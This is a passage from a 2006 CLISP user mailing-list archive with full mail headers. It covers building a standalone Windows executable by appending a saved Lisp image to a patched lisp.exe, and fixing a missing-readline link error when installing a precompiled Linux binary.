-- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il/ http://www.memri.org/ http://www.savegushkatif.org http://www.dhimmi.com/ http://www.camera.org http://www.palestinefacts.org/ God had a deadline, so He wrote it all in Lisp. From fb@frank-buss.de Mon Jan 02 02:14:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtMiH-0003QT-Kc for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 02:14:49 -0800 Received: from smtp2.netcologne.de ([194.8.194.218]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtMiG-0003rY-6P for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 02:14:49 -0800 Received: from galilei (xdsl-81-173-249-241.netcologne.de [81.173.249.241]) by smtp2.netcologne.de (Postfix) with ESMTP id 52CDE420C for ; Mon, 2 Jan 2006 11:14:40 +0100 (MET) From: "Frank Buss" To: Subject: RE: [clisp-list] Re: Windows standalone application MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: Thread-Index: AcYPXXB5/yRSUJEwQr6zq6lkMHuz1gAJ1YOQ Message-Id: <20060102101440.52CDE420C@smtp2.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 02:15:01 2006 X-Original-Date: Mon, 2 Jan 2006 11:14:44 +0100 > > http://www.frank-buss.de/lisp/clisp.html > > note that clisp/modules/bindings/win32.lisp already offers > win32:MessageBoxA Thanks, but anyway my goal is to use an implementation independant windows mapping with CFFI, like tested here: http://article.gmane.org/gmane.lisp.cl-gardeners/587 -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From astebakov@yahoo.com Mon Jan 02 08:26:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtSVe-0003VU-9e for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 08:26:10 -0800 Received: from web36903.mail.mud.yahoo.com ([209.191.85.71]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EtSVc-00028R-Og for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 08:26:10 -0800 Received: (qmail 55978 invoked by uid 60001); 2 Jan 2006 16:26:03 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=SaE1NHJI1F6jjA4QziJ0AEtmN+g8W+9cNwRjik2xJgkk+2IoCPjEgD7juk4Trkn7PPNvNg6j39Gz7iae53FqE7CR8SdYwsN9b2bcVVxcm99emzR8puWLnPBXTO+o7oPxIF9So2BdKaGjFtMyd8xrIcrgSR7fu+eYOO+73rRPq/k= ; Message-ID: <20060102162603.55961.qmail@web36903.mail.mud.yahoo.com> Received: from [209.50.91.70] by web36903.mail.mud.yahoo.com via HTTP; Mon, 02 Jan 2006 08:26:03 PST From: Andrew Stebakov Subject: RE: [clisp-list] Re: Windows standalone application To: Frank Buss , clisp-list@lists.sourceforge.net In-Reply-To: <20060102101440.52CDE420C@smtp2.netcologne.de> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 08:27:01 2006 X-Original-Date: Mon, 2 Jan 2006 08:26:03 -0800 (PST) Hi Frank I am really intrigued by the way you made the message.exe. I modified the deliver.cmd to look like: set lisp_path=c:\clisp-2.35 %lisp_path%\clisp -K full -norc -M %lisp_path%\image-no-swank.mem -x "(load \"message.lisp\")(ext:saveinitmem \"saved\" :init-function #'main)" copy /y /b %lisp_path%\clisp.exe + marker.txt + saved.mem message.exe but when I execute the message.exe it tries to call c:/Linux/Clisp-GUI/base/lisp.exe so it fails. Is it possible to make it call lisp from c:\clisp-2.35/full/lisp? Where can I read about this REKRAM_CIGAM_EHT and how to put it all into one exe file? Thank you, Andrew --- Frank Buss wrote: > > > http://www.frank-buss.de/lisp/clisp.html > > > > note that clisp/modules/bindings/win32.lisp > already offers > > win32:MessageBoxA > > Thanks, but anyway my goal is to use an > implementation independant windows > mapping with CFFI, like tested here: > > http://article.gmane.org/gmane.lisp.cl-gardeners/587 > > -- > Frank Buss, fb@frank-buss.de > http://www.frank-buss.de, http://www.it4-systems.de > > > > ------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. Do > you grep through log files > for problems? Stop! Download the new AJAX search > engine that makes > searching your log files as easy as surfing the > web. DOWNLOAD SPLUNK! > http://ads.osdn.com/?ad_id=7637&alloc_id=16865&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From astebakov@yahoo.com Mon Jan 02 08:35:08 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtSeK-0003vB-0f for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 08:35:08 -0800 Received: from web36911.mail.mud.yahoo.com ([209.191.85.79]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EtSeJ-00033O-F0 for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 08:35:08 -0800 Received: (qmail 15458 invoked by uid 60001); 2 Jan 2006 16:35:01 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=f8U08K1OyK25Fq3BZ6DMDecvjR7Vi+2ye0e4bdkWzwcWUaHbK9Yt35OJh4N7BW/YZYpWfnCO0aLfAlYsnsZSt8KKQcOrSjQHJgVsGLN04QQML/03qHTaws6BfUfS1Yt9rzwE8IMdSSjnFAg6+b52fMB8XqLpu4wW8bsSpMXdaQ8= ; Message-ID: <20060102163501.15456.qmail@web36911.mail.mud.yahoo.com> Received: from [209.50.91.70] by web36911.mail.mud.yahoo.com via HTTP; Mon, 02 Jan 2006 08:35:01 PST From: Andrew Stebakov Subject: RE: [clisp-list] Re: Windows standalone application To: Andrew Stebakov , Frank Buss , clisp-list@lists.sourceforge.net In-Reply-To: <20060102162603.55961.qmail@web36903.mail.mud.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 08:36:01 2006 X-Original-Date: Mon, 2 Jan 2006 08:35:01 -0800 (PST) My bad... I should have put copy /y /b %lisp_path%\full\lisp.exe + marker.txt + saved.mem message.exe. Only now it says "module 'syscalls' requires package OS"... Andrew --- Andrew Stebakov wrote: > Hi Frank > > I am really intrigued by the way you made the > message.exe. > I modified the deliver.cmd to look like: > set lisp_path=c:\clisp-2.35 > %lisp_path%\clisp -K full -norc -M > %lisp_path%\image-no-swank.mem -x "(load > \"message.lisp\")(ext:saveinitmem \"saved\" > :init-function #'main)" > copy /y /b %lisp_path%\clisp.exe + marker.txt + > saved.mem message.exe > > but when I execute the message.exe it tries to call > c:/Linux/Clisp-GUI/base/lisp.exe so it fails. Is it > possible to make it call lisp from > c:\clisp-2.35/full/lisp? > Where can I read about this REKRAM_CIGAM_EHT and how > to put it all into one exe file? > > Thank you, > Andrew > > --- Frank Buss wrote: > > > > > http://www.frank-buss.de/lisp/clisp.html > > > > > > note that clisp/modules/bindings/win32.lisp > > already offers > > > win32:MessageBoxA > > > > Thanks, but anyway my goal is to use an > > implementation independant windows > > mapping with CFFI, like tested here: > > > > > http://article.gmane.org/gmane.lisp.cl-gardeners/587 > > > > -- > > Frank Buss, fb@frank-buss.de > > http://www.frank-buss.de, > http://www.it4-systems.de > > > > > > > > > ------------------------------------------------------- > > This SF.net email is sponsored by: Splunk Inc. Do > > you grep through log files > > for problems? Stop! Download the new AJAX search > > engine that makes > > searching your log files as easy as surfing the > > web. DOWNLOAD SPLUNK! > > > http://ads.osdn.com/?ad_id=7637&alloc_id=16865&op=click > > _______________________________________________ > > clisp-list mailing list > > clisp-list@lists.sourceforge.net > > > https://lists.sourceforge.net/lists/listinfo/clisp-list > > > > > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam > protection around > http://mail.yahoo.com > > > ------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. Do > you grep through log files > for problems? Stop! Download the new AJAX search > engine that makes > searching your log files as easy as surfing the > web. DOWNLOAD SPLUNK! > http://ads.osdn.com/?ad_id=7637&alloc_id=16865&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > __________________________________________ Yahoo! DSL – Something to write home about. Just $16.99/mo. or less. dsl.yahoo.com From Joerg-Cyril.Hoehle@t-systems.com Mon Jan 02 10:13:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtUBv-00005O-5t for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 10:13:55 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtUBt-0004By-Iu for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 10:13:55 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 2 Jan 2006 19:13:43 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 2 Jan 2006 19:13:43 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307A8CDB5@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: astebakov@yahoo.com, fb@frank-buss.de Subject: [clisp-list] Re: Windows standalone application MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 10:14:03 2006 X-Original-Date: Mon, 2 Jan 2006 19:13:42 +0100 Andrew Stebakov wrote: >My bad... I should have put copy /y /b >%lisp_path%\full\lisp.exe + marker.txt + saved.mem >message.exe.=20 >Only now it says "module 'syscalls' requires package >OS"... Is that still the case or did you solve that problem? The message means that a lisp.exe built with the syscalls module is = needed to start this .mem file. But I'd have expected full\lisp.exe to = be such a binary (whereas base\lisp.exe or boot\lisp.exe are not), so = I'm surprised. Try out lisp.exe --version or lisp.exe -x "(ext::module-info)". What C modules does it mention? Keep on the good work, J=F6rg H=F6hle. From rinaldi@cfug.org Mon Jan 02 10:29:30 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtUQy-0000tD-SC for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 10:29:28 -0800 Received: from 216-55-165-51.dedicated.abac.net ([216.55.165.51] helo=killashandra.magenet.com) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EtUQy-0003qK-F1 for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 10:29:28 -0800 Received: (qmail 20363 invoked by uid 0); 2 Jan 2006 13:29:25 -0500 Message-ID: <20060102182925.20360.qmail@killashandra.magenet.com> Reply-To: ruumis@gmail.com From: rinaldi@cfug.org To: clisp-list@lists.sourceforge.net CC: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Content-Disposition: inline X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] =?utf-8?Q?Re:_GNU_CLISP_2.37_=282006=2D01=2D02=29?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 10:30:01 2006 X-Original-Date: 2 Jan 2006 13:29:25 -0500 There is currently a major problem with my personal email - until further notice, please use ruumis@gmail.com to contact me. - Lou From fb@frank-buss.de Mon Jan 02 10:30:17 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtURl-0000uh-7K for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 10:30:17 -0800 Received: from moutng.kundenserver.de ([212.227.126.188]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtURg-0004qf-0T for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 10:30:14 -0800 Received: from [81.173.250.122] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu5) with ESMTP (Nemesis), id 0ML25U-1EtURd0aTi-0008Ho; Mon, 02 Jan 2006 19:30:09 +0100 From: "Frank Buss" To: Subject: RE: [clisp-list] Re: Windows standalone application MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: <20060102163501.15456.qmail@web36911.mail.mud.yahoo.com> Thread-Index: AcYPup7Zx28CVKLHTfCbWbONl6yWHgADZMYA Message-ID: <0ML25U-1EtURd0aTi-0008Ho@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 10:31:01 2006 X-Original-Date: Mon, 2 Jan 2006 19:30:13 +0100 > My bad... I should have put copy /y /b > %lisp_path%\full\lisp.exe + marker.txt + saved.mem > message.exe. > Only now it says "module 'syscalls' requires package > OS"... I can reproduce this error message, when I'm using the standard lisp.exe and not my patched version. The standard version has not the ability to link the image to the exe file. > Where can I read about this REKRAM_CIGAM_EHT and how > to put it all into one exe file? At the moment only at http://www.frank-buss.de/lisp/clisp.html , I don't know if the CLISP maintainers plans to integrate it in the standard distribution. And for REKRAM_CIGAM_EHT, try to read it reversed :-) It's added this way to the file to allow it to store the right way in the program. Then when scanning the program file at startup for finding the start of the image, it finds only the reversed version, not the string within the program itself. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From astebakov@yahoo.com Mon Jan 02 11:38:23 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtVVf-0004Cu-H5 for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 11:38:23 -0800 Received: from web36902.mail.mud.yahoo.com ([209.191.85.70]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EtVVd-0001Er-Va for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 11:38:23 -0800 Received: (qmail 29431 invoked by uid 60001); 2 Jan 2006 19:38:14 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=y+rMQriDbV8uKk9VuUns6x5/Q/0owdHSDEeVLggQBHauzgdkeWBRyMLu+UbCp6rjPXTM0McEgfHxXmF49ARcwAwIZ7bDQ5hX/Q7Ml4U5UvkDPeLeuSHQXw3K5dVuIUnu1usPDbXhrreB6KM8MX2KiwYy6If6+uHPH73ksoWGARs= ; Message-ID: <20060102193814.29429.qmail@web36902.mail.mud.yahoo.com> Received: from [209.50.91.70] by web36902.mail.mud.yahoo.com via HTTP; Mon, 02 Jan 2006 11:38:14 PST From: Andrew Stebakov Subject: RE: [clisp-list] Re: Windows standalone application To: Frank Buss , clisp-list@lists.sourceforge.net In-Reply-To: <0ML25U-1EtURd0aTi-0008Ho@mrelayeu.kundenserver.de> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 11:39:02 2006 X-Original-Date: Mon, 2 Jan 2006 11:38:14 -0800 (PST) What can I do to make the patched lisp.exe (which is capable of linking the image into the exe file)? Thank you, Andrew --- Frank Buss wrote: > > My bad... I should have put copy /y /b > > %lisp_path%\full\lisp.exe + marker.txt + saved.mem > > message.exe. > > Only now it says "module 'syscalls' requires > package > > OS"... > > I can reproduce this error message, when I'm using > the standard lisp.exe and > not my patched version. The standard version has not > the ability to link the > image to the exe file. > > > Where can I read about this REKRAM_CIGAM_EHT and > how > > to put it all into one exe file? > > At the moment only at > http://www.frank-buss.de/lisp/clisp.html , I don't > know if the CLISP maintainers plans to integrate it > in the standard > distribution. > > And for REKRAM_CIGAM_EHT, try to read it reversed > :-) It's added this way to > the file to allow it to store the right way in the > program. Then when > scanning the program file at startup for finding the > start of the image, it > finds only the reversed version, not the string > within the program itself. > > -- > Frank Buss, fb@frank-buss.de > http://www.frank-buss.de, http://www.it4-systems.de > > > > ------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. Do > you grep through log files > for problems? Stop! Download the new AJAX search > engine that makes > searching your log files as easy as surfing the > web. DOWNLOAD SPLUNK! > http://ads.osdn.com/?ad_id=7637&alloc_id=16865&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > __________________________________ Yahoo! for Good - Make a difference this year. http://brand.yahoo.com/cybergivingweek2005/ From fb@frank-buss.de Mon Jan 02 12:34:29 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtWNs-0006uj-6Z for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 12:34:24 -0800 Received: from smtp2.netcologne.de ([194.8.194.218]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtWNq-0002w3-Ra for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 12:34:24 -0800 Received: from galilei (xdsl-81-173-250-122.netcologne.de [81.173.250.122]) by smtp2.netcologne.de (Postfix) with ESMTP id B06C14206 for ; Mon, 2 Jan 2006 21:34:14 +0100 (MET) From: "Frank Buss" To: Subject: RE: [clisp-list] Re: Windows standalone application MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: <20060102193814.29429.qmail@web36902.mail.mud.yahoo.com> Thread-Index: AcYP1BQFfJKTll2mTZWJKbs+m7NQzgAB6adw Message-Id: <20060102203414.B06C14206@smtp2.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 12:35:01 2006 X-Original-Date: Mon, 2 Jan 2006 21:34:19 +0100 > What can I do to make the patched lisp.exe (which is > capable of linking the image into the exe file)? it's described at http://www.frank-buss.de/lisp/clisp.html in detail. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From jimka@rdrop.com Mon Jan 02 22:22:40 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtfZA-0000zY-2m for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 22:22:40 -0800 Received: from agora.rdrop.com ([199.26.172.34] ident=0) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EtfZ8-0007XP-QY for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 22:22:40 -0800 Received: from [192.168.5.160] (port-212-202-193-47.dynamic.qsc.de [212.202.193.47]) (authenticated bits=0) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id k036MX5G035988 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Mon, 2 Jan 2006 22:22:35 -0800 (PST) (envelope-from jimka@rdrop.com) From: Jim Newton To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.8 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200601030722.27805.jimka@rdrop.com> X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.6 MISSING_SUBJECT Missing Subject: header Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 22:23:02 2006 X-Original-Date: Tue, 3 Jan 2006 07:22:27 +0100 >> the file clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar.gz >> which i've downloaded from >> http://prdownloads.sourceforge.net/clisp/clisp-2.36-x86_64-unk >> nown-linux-gnu-2.6.9.tar.gz?use_mirror=switch >> seems to be missing the files INSTALL and configure. >> Am i confused? what is the purpose of >> clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar? > >this is not the source file for recompiling it by yourself, but the compiled >result. If you just want to start CLISP this is fine, but if you want to >compile it yourself, you have to download the sources. Of course, the >sources are the same for every platform. Ok, now back to my original question which i'm still not clear about how to solve. I'd like to install this precompiled result on my system. clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar How should i do it? The README file says to first type make, but i get the following error. /opt/clisp-2.36> make cc -O base/modules.o base/readline.o -lreadline -lncurses base/regexi.o base/regex.o base/calls.o -lcrypt -lm base/gettext.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses -ldl -L/home/users/s/sd/sds/top/Linux-x86_64/lib -lsigsegv -lc -o base/lisp.run /usr/lib64/gcc-lib/x86_64-suse-linux/3.3.5/../../../../x86_64-suse-linux/bin/ld: cannot find -lreadline collect2: ld returned 1 exit status make: *** [base/lisp.run] Error 1 From sds@gnu.org Mon Jan 02 22:26:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtfcZ-0001CU-7P for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 22:26:11 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtfcV-0001n3-Jv for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 22:26:11 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 03 Jan 2006 01:26:06 -0500 X-IronPort-AV: i="3.99,324,1131339600"; d="scan'208"; a="190853001:sNHT24021188" To: clisp-list@lists.sourceforge.net, Jim Newton Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200601030722.27805.jimka@rdrop.com> (Jim Newton's message of "Tue, 3 Jan 2006 07:22:27 +0100") References: <200601030722.27805.jimka@rdrop.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jim Newton Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: using clisp binary distributions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 22:27:01 2006 X-Original-Date: Tue, 03 Jan 2006 01:24:57 -0500 > * Jim Newton [2006-01-03 07:22:27 +0100]: > > I'd like to install this precompiled result on my system. > clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar > How should i do it? install readline and sigsegv and then follow the instructions. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.iris.org.il http://ffii.org/ http://www.jihadwatch.org/ http://pmw.org.il/ http://www.dhimmi.com/ We're too busy mopping the floor to turn off the faucet. From sds@gnu.org Mon Jan 02 22:53:51 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Etg3J-0002DV-9q for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 22:53:49 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Etg3H-0004ep-2J for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 22:53:49 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by 